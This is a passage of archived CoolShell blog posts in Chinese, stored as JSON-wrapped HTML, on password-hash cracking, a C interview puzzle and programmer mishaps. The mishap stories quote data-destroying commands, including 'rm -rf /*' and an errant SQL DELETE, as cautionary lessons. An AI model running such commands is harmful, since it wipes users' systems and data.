width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6010.html\"><img alt=\"一些有意思的算法代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6010.html\">一些有意思的算法代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4671.html\"><img alt=\"可视化的数据结构和算法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4671.html\">可视化的数据结构和算法</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3933.html\">可视化的排序过程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-3-2 中国的C2C模式.html",
    "content": "<html><body><p></p>\n<p style=\"text-align: left;\">C2C不是电了商务里的C2C，而是Copy to China的缩写，以前，我们以Made in China著称，现在我们会以C2C著称。toxicat制作了下面这个图片(<a href=\"http://9gag.com/gag/83592\" target=\"_blank\">源图</a>)，大家慢慢欣赏，我相信，如果要把所有的C2C都列上去的话，那么，可能会上很长的一个图片。还记得那篇<a href=\"https://coolshell.cn/articles/3605.html\" target=\"_blank\" title=\"为什么中国的网页设计那么烂？\">为什么中国的网页设计那么烂？</a>吗？呵呵。何止是互联网，其它东西不也是C2C吗？</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter size-full wp-image-3822\" height=\"234\" src=\"../wp-content/uploads/2011/03/C2C_cover.jpg\" title=\"Copy to China\" width=\"489\"/></p>\n<p style=\"text-align: left;\"><span id=\"more-3820\"></span><img alt=\"\" class=\"aligncenter size-full wp-image-3821\" height=\"5194\" src=\"../wp-content/uploads/2011/03/C2C.jpg\" title=\"伟大的C2C模式\" width=\"698\"/></p>\n<p style=\"text-align: left;\">————————————————</p>\n<p style=\"text-align: left;\">与此同时，<a href=\"http://cn.reuters.com/article/CNTopGenNews/idCNCHINA-3878520110301\" target=\"_blank\">路透社报道</a>: 美国将百度列入“恶名市场”名单 – 美国政府周一再次将中国最大网络搜索引擎百度列入假冒和盗版产品的年度“恶名市场”名单。美国企业界希望此名单能促使美国国会对这些“流氓网站”采取行动。（<a href=\"http://www.bbc.co.uk/zhongwen/simp/world/2011/03/110301_china_usa_trade_piracy.shtml\" target=\"_blank\">BBC</a>：与百度一同被列入此名单的还有淘宝、北京秀水街、北京海龙电脑市场、上海杨浦颐高数码城、深圳罗湖市场、香港女人街、义务小商品市场、<a href=\"http://91.com/\" target=\"_blank\">91.com</a>，以及TV Ants）</p>\n<p style=\"text-align: left;\">（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12225.html\"><img alt=\"DHH 谈混合移动应用开发\" height=\"150\" src=\"../wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12225.html\">DHH 谈混合移动应用开发</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12206.html\"><img alt=\"HTML6 展望\" height=\"150\" src=\"../wp-content/uploads/2014/12/html6-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12206.html\">HTML6 展望</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3820.html\">中国的C2C模式</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-3-2 破解你的口令.html",
    "content": "<html><body><p>在网上看到一张口令破解的表格，如下所示（第一列是口令长度，第二列是全小写的口令，第三列是有大写字母的口令，第四列是又加上了数字和其它字符的口令）</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-3802\" height=\"163\" src=\"../wp-content/uploads/2011/02/passwords.png\" title=\"破解你的口令所需要的时间\" width=\"500\"/></p>\n<p>如果你想知道自己的口令花多少时间可以被破确，你可以访问下面这个网站：（<strong><em>更新2011/3/2晚10点15</em></strong>）</p>\n<p style=\"text-align: center;\"><strong><a href=\"http://howsecureismypassword.net/\" target=\"_blank\">http://howsecureismypassword.net/</a></strong></p>\n<p>这里先说一个这里说的口令破解。一般来说用户的口令都是以MD5编码加密放在数据库里的，MD5是不可逆的，所以，当你拿到你一串被MD5后的字串，你可以使用暴力破解——穷举所有的可能口令的MD5字串，然后和数据库里的对比，比对了你就知道口令了。当然，你一定要清楚，在某些审查很严重的地方，互联网内容提供商不一定会把你的口令以MD5加密，甚至就是明文（Plain Text）保存，所以你还需要小心，关于如何设计你的口令，<a href=\"https://coolshell.cn/articles/2428.html\" target=\"_blank\" title=\"如何设计你的口令\">请参看这篇文章</a>。</p>\n<p>从上面这表格我们可以看到，你的口令最好是在8个长度以上，而且一定要有在小写和数字，最好再加上其它字符，这样你的口令被破解的时候最需要463年，这样就比较安全了。当然，如果你的口令使用了一些常用的单词，那就另说了，现在破解口令一般都不会使用暴力破解，都是用一个尝用口令字典表来尝试——比如<a href=\"https://coolshell.cn/articles/2451.html\" target=\"_blank\" title=\"Twitter的禁用口令\">这篇文章所说的字典表</a>。</p>\n<p>但我提醒一下，这张表里中的时间忽略了一个问题，那就是并行，<strong>可以使用多台电脑多个进程并行破解口令</strong>，这样一来，上表中的时间就可大打折扣了。你只需要愿意花2000美刀，你就能够找到一个地方，1秒种计算7亿个口令，因为MD5，SHA这类的算法性能太好了。所以，你可能需要使用新的算法来加密你的口令，这种算法最好加上时间，也就是在算法的计算时间加长。呵呵，慢也有慢的好处。可能你需要考虑一下bcrypt算法，你<a href=\"https://coolshell.cn/articles/2078.html\" target=\"_blank\" title=\"如何防范密码被破解\">可以查看本站的这篇文章</a>。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2078.html\"><img alt=\"如何防范密码被破解\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2078.html\">如何防范密码被破解</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6193.html\"><img alt=\"CSDN明文口令泄露的启示\" height=\"150\" src=\"../wp-content/uploads/2011/12/63071edagw1doah4id8l4j-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6193.html\">CSDN明文口令泄露的启示</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5353.html\"><img alt=\"你会做Web上的用户登录功能吗？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5353.html\">你会做Web上的用户登录功能吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3877.html\"><img alt=\"另类UX让你输入强口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3877.html\">另类UX让你输入强口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2451.html\"><img alt=\"Twitter的禁用口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2451.html\">Twitter的禁用口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2428.html\"><img alt=\"如何管理并设计你的口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2428.html\">如何管理并设计你的口令</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3801.html\">破解你的口令</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-3-21 “火柴棍式”程序员面试题.html",
    "content": "<html><body><p>有时候，有些面试题是很是无厘头，这不，又有一个，还记得小时候玩的的“火柴棍游戏”吗，就是移动一根火柴棍改变一个图或字的游戏。程序面试居然也可以这么玩，看看下面这个火柴棍式的程序面试题吧。</p>\n<p>下面是一个C程序，其想要输出20个减号，不过，粗心的程序员把代码写错了，你需要把下面的代码修改正确，不过，<strong>你只能增加或是修改其中的一个字符</strong>，请你给出三种答案。</p>\n<pre class=\"EnlighterJSRAW\">int n = 20;\n\nfor(int i = 0; i &lt; n; i--){\n    printf(\"-\");\n}</pre>\n<p>不要以为这题不是很难，我相信你并不那么容易能找到3种方法。我觉得，如果你能在10分钟内找出这三种方法，说明你真的很聪明，而且反应很快。当然，15分钟内也不赖。不过，你要是30分钟内找不到三种方法，当然，不说明你笨了，最多就是你的反应还不够快。嘿嘿。就当是玩玩吧。</p>\n<p>下面是我的答案：</p>\n<pre class=\"EnlighterJSRAW\">\n//第一种解法：在for循环中给n加一个负号\nfor(int i = 0; i &lt; -n; i--)\n\n//第二种解法：把 n 初始化成 -20\nint n = -20;\n\n//第三种解法：把for循环中的 i 初始化成40\nfor(int i = 40; i &lt; n; i--)\n</pre>\n<p>不过，我要告诉你，<span style=\"color: #cc0000;\">以上这些答案都不对（我就知道你会偷看答案的）</span>，不过，顺着这些思路走很接近了。呵呵。</p>\n<p>下面是正确答案——</p>\n<p><span id=\"more-3961\"></span></p>\n<pre class=\"EnlighterJSRAW\">\n//第一种解法：在for循环中给 i 加一个负号\nfor(int i = 0; -i &lt; n; i--)\n\n//第二种解法：在for循环中把 i-- 变成 n--\nfor(int i = 0; i &lt; n; n--)\n\n//第三种解法：把for循环中的 &lt; 变成 +\nfor(int i = 0; i + n; i--)\n</pre>\n<p>其它相关的变种题如下：</p>\n<ul>\n<li>通过修改、增加一个字符，让其输出21个减号</li>\n<li>通过修改、增加一个字符，让其只输出1个减号</li>\n<li>通过修改、增加一个字符，让其不输出减号</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7965.html\"><img alt=\"一个fork的面试题\" height=\"150\" src=\"../wp-content/uploads/2012/07/fork01jpg-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7965.html\">一个fork的面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4162.html\"><img alt=\"又一个有趣的面试题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4162.html\">又一个有趣的面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3738.html\"><img alt=\"打印质数的各种算法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3738.html\">打印质数的各种算法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3445.html\"><img alt=\"输出从1到1000的数\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3445.html\">输出从1到1000的数</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10478.html\"><img alt=\"C++面试中string类的一种正确写法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10478.html\">C++面试中string类的一种正确写法</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3961.html\">“火柴棍式”程序员面试题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-3-22 程序员那些悲催的事儿.html",
    "content": "<html><body><p>在StakeOverflow上有这样一个贴子叫“<a href=\"http://stackoverflow.com/questions/63668/confessions-of-your-worst-wtf-moment\" target=\"_blank\" title=\"Confessions of your worst WTF moment\">Confessions of your worst WTF moment</a>”（WTF就是What the fuck的缩写），挺有意思的，我摘几个小故事过来，希望大家在笑过之后能从中学到什么——<strong>所有的经验都是从错误中来的</strong>（我在其中加了一些点评）</p>\n<blockquote><p>我们公司的软件是给警察局用的，那是一个对用来处理被逮捕的人的系统，此系统还需要收集脸部特征和指纹信息，并且，这个系统和会向FBI的系统提交这些信息。当我们在测试这个系统的时候，我们一般都是用我们自己的指纹，当然，数据库联着的是我们的测试数据库。不过，有一次，在我们测试完后，我们忘了把系统切换回生产库，于是我们的测试数据库就联上了生产环境，于是我们的指纹信息和照片就散布到了其它系统中……清除我们警察局这边的还好办，但是，你需要波士顿警察局警司去法院签字才能从FBI的数据库中清除我们的信息。</p></blockquote>\n<p style=\"padding-left: 30px;\"><strong>点评</strong>：测试环境和生产环境的数据不要混在一起。</p>\n<blockquote><p>有一次，我需要向新系统中导入一堆数据，因为数据量太大，需要5个小时，只能在夜里来干，在系统需要正式使用前2个小时，数据导完了，此时是凌晨4点。随后，我需要删除一些数据，于是我在SQL命令地上输入了“DELETE from important_table; where id=4”。是的，我没有看到哪里还有个分号，天啊。</p></blockquote>\n<p style=\"padding-left: 30px;\"><strong>点评</strong>：这就是加班工作的恶果。另，在delete之前最好先做一次select。</p>\n<blockquote><p>我把我的管理员口令提交到了一个开源软件的源码里。</p></blockquote>\n<p style=\"padding-left: 30px;\"><strong>点评：</strong>1）版本管理器里的东西是删不掉的。2）一些用户和口令要hard code在代码里，所以，不要混用代码使用的权限和管理员的权限，小心管理程序的运行权限，为其注册专门的用户。</p>\n<p><span id=\"more-3980\"></span></p>\n<blockquote><p>我为一个很大的银行开发软件，在我的代码里，我为一段理论上根本不可能执行到的代码加了一个报错信息。有一天，不可思异的事发生了，这条报错信息显示在了该银行的1800个分行的超过10000个终端上——“如果你看到这个信息，说明整个系统被Fuck了，回家吧，祝你过得愉快！”</p></blockquote>\n<p style=\"padding-left: 30px;\"><strong>点评：“</strong>假设是恶魔”，Assume意为Ass – u – me，意为——搞砸你和我。对于一些关键东西，永远不要做假设。小心你言语中的——“可能、应该、觉得、不应该”等词语，程序可不认这些东西。</p>\n<blockquote><p>我远程登录到服务器上加几个防火墙规则。第一件我想干的事是在不允许任何人的任何连接，第二件是，为某个端口打开访问权限。不过，我在做完第一件事后就把配置保存了，结果其生效了……</p></blockquote>\n<p style=\"padding-left: 30px;\"><strong>点评</strong>：这样的事经常发生，做远程网络管理的人多少会有那么几次发生这样的错误。在你将你的网络配置生效前，你得想一想，断线了你是否还能登得上去。改配置不要太冲动，生效前检查几次。</p>\n<blockquote><p>我们的代码中有一个模块完美地工作了很多年了，只是代码太乱了。我说服了我的老板，我可以重写这个模块，于是我花了三个星期来重写这个模块。今天 ，我还记得，我的老板站在我的后面看着我，而我在在流着斗大的法汗珠去fix被我重写的“超级漂亮”的那个模块中一个接一个的bug。从那以后，我再也不重写代码了，除非有重大的利益。</p></blockquote>\n<p style=\"padding-left: 30px;\"><strong>点评：</strong>这就所谓的<a href=\"https://coolshell.cn/articles/2058.html\" target=\"_blank\" title=\"各种流行的编程风格\">屠宰式编程</a>。这个案例告诉我们两个道理，1）维护代码要用最最最保守的方法来进行。2）重构代码前要像一个商人一样学会计算利益。当然，<a href=\"https://coolshell.cn/articles/3745.html\" target=\"_blank\" title=\"再谈敏捷和ThoughtWorks中国咨询师\">ThoughtWorks的咨询师</a>一定会告诉你TDD，结对，极限等等方法告诉你如果实践重构。但我想告诉你，一个程序在生产环境里运行好几个年能没有问题是一件很不容易的事，那怕其中的代码再烂，你再看不过去，你都要有一个清醒的头脑明白这几点，<strong>1）软件的运行质量是远远大于代码质量的，2）你的测试案例是远远小于生产环境的，3）软件的完美的质量，是靠长时间的运行、测试和错误堆出来的，而不是某种方法论</strong>。</p>\n<p>————————————————</p>\n<p>相信大家做程序员这一生中也有很多发生在自己身上的悲催的事儿，欢迎分享。我先分享几个我亲身经历过的事。</p>\n<p>一个发生在我的领导身上。</p>\n<blockquote><p>我98年刚参加工作的时候，在某单位网络部门，一次，我们整个部门去给下属单位培训Cisco路由器，结果我们发现带去培训地点的设备少带了集线器HUB，设备连不起来。于是领导很不高兴，质问我们为什么没有带集线器？那几个对领导平时就不满的老员工说办公室里没有集线器了，都借给别的部门了。领导想了想，问我：“陈皓，我记得上次我给过你个集线器”，我说，“好像没有吧，我记不起来了，什么牌的？几口的？”，领导说：“什么牌子想不起来了，不过我记得那个集线器是<strong>一个口</strong>的”。“一个口的？！”，我心里嘀咕着，“真敢说啊”。但我不敢接话了。那几个老员工来劲了——“哪有一个口的HUB啊，一个口的怎么联两台电脑啊？”，领导说：“用两个一个口的不就行了”。领导这话一出，全场一片寂静，无言以对……</p></blockquote>\n<p style=\"padding-left: 30px;\"><strong>后来：</strong>我们所有的组员都离开了我们的这个领导，我们的这个领导今天还在那里工作。我想告诉大家，<strong>很多时候该走的是领导</strong>（包括外企，我上一东家正在裁人，不过我觉得该被裁掉的应该是那些经理）。我们的领导经常出这样或那样的笑话，这让我随时随地地警醒自己——“<strong>不要当一个被人笑话的经理</strong>”，于是，今天我还在努力地学习技术。</p>\n<p>另一个发生在我身上</p>\n<blockquote><p>刚刚接触Linux的时候，还不是很懂，那时的PC还只有奔3，编译公司的程序好慢啊，有时候为了调查一个问题，需要不断地打log，来来回回地编译，很不爽。直到有一天，硬盘不够了，df一下，发现/dev/shm还有空间。于是，把全部程序copy了过去，发现编译起程序超快无比，爽得不行。于是就把工作环境放在/dev/shm下了，连开发都放在这里了。这一天，开发一个功能，改了十来个文件，加班很晚，觉得基本搞定，大喜，回家睡觉。第二天一来，发现/dev/shm下空了，一个文件都没有了，问同事，同事不知，同事还安慰我说，上次他的文件也不知道被 谁删了，于是我大怒，告老板！老板也怒，发邮件到整个公司质问大家谁删了陈皓的程序，无人应答。IT部门答，“昨晚唯一的操作就是重启了linux服务器，什么也没干，不过我们天天备份服务器，可以恢复”，IT部门问我丢的文件在哪个目录下？于是，我reply to all – “在/dev/shm下……”，哎，人丢大发了……</p></blockquote>\n<p style=\"padding-left: 30px;\"><strong>后来：</strong>我很感谢我以前犯的这个错，从那天以后，我开始立志学好Linux，这个错误让我努力，让我发奋。所以，我想告诉大家——<strong>尤其是刚出道的程序员，你们要多多犯错，要犯错那种丢死人的错，这样你才会知耻而勇</strong>。</p>\n<p>再来一个发生在我同事身上的</p>\n<blockquote><p>01年，我们开发银行系统，在AIX上开发，RICS6000很贵，只能在客户那里开发，开发进度很紧张，慢慢地硬盘就不够用了，系统中有大量的垃圾文件，于是需要清除一些文件，于是有一个同事写了一个脚本，可以自动清除的各种不重要的文件，里面有一条命令大致是这个样子“ rm -rf ${app_log_dir}/*”，意为清除程序运行的日志。为了使用这个脚本，需要在root用户下运行，一开始还不错。直到有一天，某人一运行，整个根就没了。搞得整个团队只能用一周前的备份重写已写好的代码。后来，才发现原因是${app_log_dir}变量为空，于是成了“rm -rf /*”……</p></blockquote>\n<p style=\"padding-left: 30px;\"><strong>后来：</strong>这个事后，我的那个同事，把rm命令改了名，并自己写了一个rm命令，把删除的文件先放到一个临时目录下。而我也因为这个事情，到今天，每次当我在root目录下使用rm时，敲击回车的手都是抖的。（另，rm时永远使用绝对路径）这里，我想告诉大家——<strong>犯错不可怕，可怕的是不会从中总结教训，同一个错犯两次</strong>。</p>\n<p>欢迎分享发生在你身上那些悲催的事。</p>\n<p><strong>（本文请勿用于商业用途，转载时请注明作者和出处）</strong><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3980.html\">程序员那些悲催的事儿</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-3-24 Fix Bug的五个阶段.html",
    "content": "<html><body><p>下面的文章和《<a href=\"https://coolshell.cn/articles/2058.html\" target=\"_blank\" title=\"各种流行的编程风格\">各种流行的编程方式</a>》有异曲同工，请你不要理解错了。<strong><a href=\"http://crankypm.com/2011/03/guest-post-stages-debugging/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed:+TheCrankyProductManager+(The+Cranky+Product+Manager)\" target=\"_blank\" title=\"THE FIVE STAGES OF DEBUGGING\">本文来源</a></strong>，翻译如下：</p>\n<p>——————————————————</p>\n<p>一个非常严重和困难的bug，能够成就一个饱经沧桑深受压力的有经验的专业程序员的职业生涯。经受这种考验的创伤程度，相当你受到了一次严重的身体伤害，离婚，或是家庭成为的离世。</p>\n<p>研究人员在研究了计算机编程心理学后，得出了一个程序员们在解决一个困难的bug时的心路里程。这些不同的境界，很像为大众所知的<a href=\"http://en.wikipedia.org/wiki/K%C3%BCbler-Ross_model\" target=\"_blank\">Kübler-Ross Stages of Grief</a>（这个模型描述了人对待哀伤与灾难过程中的5个独立阶段（否认，愤怒，耍赖，抑郁，接受）。绝症患者被认为会经历这些阶段），而且原因都很相似。就好像死亡所伴随的悲伤一样，fix一个bug是一个过程其初始化了一个事件，一开始是拒绝相信，其造就了你苦闷的情绪并开始逐步影响你的心智。这种苦闷的情结果会让你纠结要努力忍受，最终会你会找到一个满意的结果。</p>\n<p>了解下面这几个bug-fixing的阶段，会让我们更好的生存下来，并持之以恒，最终带来……关闭我们所有的bug的结果。</p>\n<h2>第一阶段：抵触</h2>\n<p>本阶段的状态: 多疑 Skeptical. 生气 Offended. 易怒 Petulant.</p>\n<p><strong>1. 不理睬</strong></p>\n<p>也许这个bug会安静地离开。</p>\n<p><strong>2. 